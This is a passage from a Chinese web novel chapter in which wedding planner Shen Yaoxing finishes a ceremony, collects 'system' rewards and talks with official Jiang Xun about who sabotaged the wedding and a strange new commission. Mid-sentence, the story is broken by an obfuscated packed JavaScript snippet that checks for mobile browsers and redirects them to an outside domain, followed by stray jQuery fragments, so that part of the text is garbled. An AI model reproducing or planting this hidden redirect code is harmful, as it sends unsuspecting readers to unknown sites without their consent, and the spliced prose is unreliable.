接下来的仪式进行得异乎寻常的顺利,仿佛连天地都感知到这场姻缘的珍贵,不忍再添任何波折。
喜乐悠扬,红绸轻舞,每一处细节都在昭示着圆满。
“夫妻对拜——”赞礼官的声音洪亮而庄重,带着由衷的祝福。
二人相对而立,目光交汇,缓缓躬身对拜。
“礼成——送入洞房——”最后一声高唱落下,宾客们的欢声笑语汇成一片,言语间满是“天作之合”、“佳偶天成”的赞誉。
沈遥星悄悄退到厅堂一侧的阴影里,背靠着微凉的廊柱,这才允许自己一直紧绷的神经稍稍松弛。
她极轻地吁出一口气,抬手用指尖轻轻按了按突突直跳的太阳穴,这才惊觉中衣的后背竟已洇湿,紧贴着肌肤,带来一丝冰凉的黏腻感。
这一日,真真是心力交瘁。
恰在此时,那熟悉的的机械音准时在她脑海中响起:
【滴——恭喜宿主成功完成创新婚礼任务!】
【任务评价:卓越!临危不乱,巧思妙解,化险为夷,再创佳绩!】【获得奖励:顶级大礼包x1(已自动存入系统空间)】
【良缘喜铺声望大幅提升!】
【获得特殊道具:【高级道具·蓝色烟火】x1,【血条道具】x1(皆已存入系统空间!)】
【特殊婚礼策划知识灌输中……灌输完毕。宿主可随时查阅相关冷门婚俗知识。】
【获得幸福指数+1】
【婚礼知识领悟度:60】
【声望值增长中……恭喜宿主!声望值已达5700】
一连串的提示音仿佛最好的提神药剂,驱散了沈遥星周身弥漫的疲惫感。
她悬了一日的心终于彻底落回实处,唇角不自觉地微微上扬。
虽然过程惊险万分,几经波折,但总算是圆满完成了。
至于镇国公夫人那边是否会因此事而记恨……沈遥星在心底无奈地摇了摇头,人家若真要迁怒,她又能有什么办法?
姑且走一步看一步吧。此刻,她只想好好休息。
累,实在是累极了。
婚礼的喧闹逐渐散去,宾客尽欢而离。
沈遥星婉拒了镇国公府派人相送的好意,只道铺中尚有琐事,自顾自地登上了良缘喜铺那辆挂着青布帘的马车。
车厢内,她卸下强撑了一整日的从容姿态,有些脱力地靠在柔软的车壁上,阖上双眼。
车轮碾过青石板路,发出规律的辘辘声响,她揉着发酸的额角,脑海中却不自觉地再次浮现婚宴上惊心动魄的一幕幕。
不由得再次深深感慨——这高门大户里的恩怨是非,果真比那戏台子上演的还要曲折几分,一不留神便是万丈深渊。
马车正欲加速前行,车厢壁却忽然传来“叩、叩”两声轻响,清晰而有节奏。
沈遥星羽睫微颤,睁开眼,侧耳细听。
确定并非错觉后,她略感疑惑地微微直起身,素手轻抬,掀开了身旁车窗的布帘,探头向外望去。
月色如水,洒在街巷之间。
只见她的马车旁,不知何时悄然跟上了一辆更为宽敞雅致的玄色马车,车壁并无过多纹饰,唯在角落刻着一个不易察觉的徽记。
车辕上坐着的身影甚是眼熟——正是时常跟在江浔身边的那个年轻侍卫,陈风。
陈风见沈遥星望来,便在行驶中稳稳地拱手一礼,声音不高却足够清晰:“沈姑娘,冒昧打扰。我家主子有事相商,可否借一步说话?”
沈遥星目光微转,落向那辆玄色马车。
她点了点头,道:“好。”
两辆马车相继在前方一处较为僻静的巷口停下。
沈遥星整理了一下微皱的衣襟,推开车门下了车。
陈风早已候在玄色马车旁,为她摆好了脚踏。
她踩着脚踏,微提裙摆,躬身钻入车内。
车厢内部远比外面看起来更为宽敞舒适,铺着厚软的藏青色地毯,内壁以暗纹绸缎包裹,一角固定着一盏小巧的琉璃灯,散发着柔和的光晕。
一股淡淡的、似竹似墨的清香在空气中若有若无地萦绕。
江浔正闲适地倚在一张软枕上,手中把玩着那枚熟悉的玉扳指。
他今日未着官服,一身月白云纹的常服更衬得他面容清俊,气质疏离。
见沈遥星进来,他抬眸看来,目光沉静如水,并无寒暄,只淡淡开口:“今日之事,沈姑娘受惊了。”
他的声音不高,却自带一种令人心安的力量。
沈遥星在他对面的软垫上坐下来,姿态端正,摇了摇头:“今日多谢江大人出手相助。若非大人及时送来那匹织锦并提示‘反哺’二字,遥星今日恐难收场。”
她顿了顿,语气真诚,“这份人情,遥星记下了。”
江浔闻言,唇角似乎极轻微地向上弯了一下,快得让人以为是错觉。“举手之劳。”他语气依旧平淡,“况且,我说过的,你不必客气。”
“所以,不必言谢。”
沈遥星叹了口气:“好,我知道了,不过,江大人此时特地寻我,想必定是有要事,不妨说来听听。”
江浔目光掠过她眼底难以掩饰的倦色,话锋轻轻一转:“可知今日之事是何人所为?”
沈遥星漫不经心地点点头:“嗯,知道。”
江浔眼底掠过一丝诧异,他微微侧首:“看来你早有猜测,如何知晓的?”
沈遥星不答,反问:“江大人如何知晓的?”
“排除一些人,她最有动机。你呢?”
沈遥星闻言,似是想到什么,噗嗤一声笑出来:“临走前镇国公夫人瞪了我一眼。”
“所以我觉得是她。”
江浔实在没想到居然是这个原因,不由得也笑了。
“不过,此人心胸狭隘你要小心。”他认真看了她一眼。
沈遥星已经无所谓了:“兵来将挡,水来土掩,我也觉得她会。”
“不过,为什么她是最有动机的呢?”沈遥星以为,任何人都可以比镇国公夫人更有动机,毕竟,这可是她亲儿子的婚礼,再不喜欢,也不至于如此吧!
要知道,若非她今日临时来这一出,宋屹辰婚礼之上出现不祥之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308663|181569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
物,不仅仅是婚礼进行不下去,付夕愿进不了门那么简单,对宋屹辰名声也是有损的,日后就算要娶高门贵女,旁人也会诟病这一点。
照理说,镇国公夫人不可能不明白这一点,沈遥星沉思着,她觉得这事怎么看都透着一种古怪。
明白她的意思,江浔默了默,他轻轻摩挲着指尖,道:“或许,镇国公夫人觉得就算宋屹辰无论是否名声有损,找到比付夕愿家世高的也是轻而易举罢了。”
沈遥星看了他一会儿,犹豫片刻,问:“该不会所有的世家大族都是这样的吧?门第之见这么大的吗?”
镇国公夫人不可能不在乎自己的孩子,可是为了不让付夕愿进门,不惜破坏宋屹辰的名声,就仅仅是因为门第之见?
江浔状似无意地点点头:“大约是吧。”
沈遥星想了想,指尖无意识地摩挲着紫檀木盒上冰凉的纹路,问了一句:“所以,江大人也是如此,或者说您的长辈也是?”
她鬼使神差地开口:“日后江大人娶妻,也必定是门当户对的吧。”
江浔沉沉地看向她,将手中杯盏推了出去,淡淡道:“未必,我只知道,我不是。”
暖黄的烛光摇曳,晕染上他清冷的侧颜,显得柔和了几分,沈遥星看着他眼中星星点点,似流光映转,笑意粼粼。
沈遥星内心微微一动,接过茶盏,抿了一口,上好的碧螺春入口甘醇,悠香四溢,她的心情也不知不觉也好了许多。
她垂头盯着淡清碧色的流光杯盏,烛火映入晶莹之中,轻轻跃起,她低声道:“那挺好的。”
“你是不是有事,原先没说?”沈遥星抬头,重新望向他。
江浔想了想:“是有件事,算是很特殊的生意……”
秋夜的风微凉,落叶簌簌作响,轻轻吹拂,掀起车帘一角,带来丝丝缕缕的寒意。
沈遥星听着,懒懒地捂了捂唇,轻轻打了个哈欠。
江浔拿起身旁的披风,轻轻盖在她身上,他看了眼沈遥星略显疲惫的双眸,止了话语。
随后又沉声道:“你看起来很累,今日算了,好好休息。”
沈遥星眯了眯眸子,嗯?什么?
江浔还在反思自己:“是我考虑不周,抱歉了。”
沈遥星:?
您干什么了对不起我,总觉得是不是不在同一个频道上。
她不就有些困,打了个哈欠吗,至于说话说一半吗?
知不知道这样让她多难受,好歹把另一半说完啊!
未等沈遥星反应过来,江浔转头便吩咐:“陈风,送沈姑娘回去。”
“哎,等等!”沈遥星抬手,连忙阻止江浔欲帮她掀帘子的动作,她叹气,转头望着江浔,幽幽道:“江大人,说话说一半是要遭雷劈的。”
“您还是一次性说完吧,满足我的好奇心,我怕今晚你不说,我睡不着。来吧,告诉我。”
江浔见她坚持,便不再多劝,正色道:“有一单生意,对方点名要良缘喜铺承办,但有些......特殊。”
“如何特殊?”
“新娘不是活人。”